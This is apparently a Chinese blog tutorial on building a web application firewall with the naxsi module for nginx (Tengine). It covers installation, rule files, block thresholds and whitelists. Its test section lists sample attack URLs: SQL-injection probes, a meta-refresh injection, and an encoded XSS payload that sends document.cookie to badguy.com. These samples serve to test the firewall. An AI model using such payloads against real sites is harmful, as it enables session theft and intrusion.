Nginx使用naxsi防xss、防注入攻击配置

== 对于nginx有相应模块来完成WAF构建,此处使用的是naxsi模块。  ==

 
一、安装前提
 
  1.必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
  2.下载naxsi模块:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz  ;
 
二、安装说明
 
  1、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
  2、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
  3、完成安装后,需要将其与nginx关联起来:
  》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
     对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.1(nginx的源文件目录)下
     执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
     添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
     可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
  4、对其执行 make & make install 命令,重新编译;
 
三、配置说明
 
    官网说明见 :  http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi  ;
  1、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
  2、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
  3、在nginx.conf中配置:
   1>、添加naxsi核心配置
   
?
1
2
3
4
5
6
7
http {
   #include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
   #若步做上第一步,则需要指定全路径
    include  naxsi_core.rules;
    include  mime.types;
    .....
   }
 

   2>?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  # 配置防攻击
        location /xss {
        include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置 
         default_type text/plain;
 
        content_by_lua '
          ngx.say("({\'Test xss ,come in please!!!\'})");
        ';
 
         root html;
      }
 
 
location /RequestDenied {
 
   return 403;
          #proxy_pass  [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
  ]}
        error_page 403 /403.html; # 在nginx/html/目录下新建的页面用来提示拦截
 

 
     3>、配置naxsi_nbs.rules文件
 
 
?
1
2
3
4
5
6
7
8
9
10
11
#LearningMode; #Enables learning mode
 SecRulesEnabled;
 #SecRulesDisabled;
 DeniedUrl "/RequestDenied";
 
   ## check rules
 CheckRule "$SQL >= 8" BLOCK;
 CheckRule "$RFI >= 8" BLOCK;
 CheckRule "$TRAVERSAL >= 4"
 BLOCK; CheckRule "$EVADE >= 4" BLOCK; 
 CheckRule "$XSS >= 8" BLOCK;
 

 
    4、还可以添加白名单naxsi_BasicRule.conf
      测试使用:
       BasicRule wl:0 "mz:$ARGS_VAR:script";
      BasicRule wl:0 "mz:$ARGS_VAR:id";
      表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;
 
?
1
2
3
4
5
6
7
8
9
BasicRule:规则说明,具体参见: http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx   location context to enable a rule. 
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.
 

 
 四、测试使用说明  
  1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
  2、测试链接:
    
?
1
2
3
4
5
6
7
8
http://10.142.138.61:8888/xss/                        通过
    http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1    通过,因为配置到白名单
    http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1  不通过,含有条件注入
    http://10.142.138.61:8888/xss/?name=%28%29            不通过,特殊字符
    http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
                                                         不通过,参数内容含脚本注入
    http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
                                                         不通过
 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值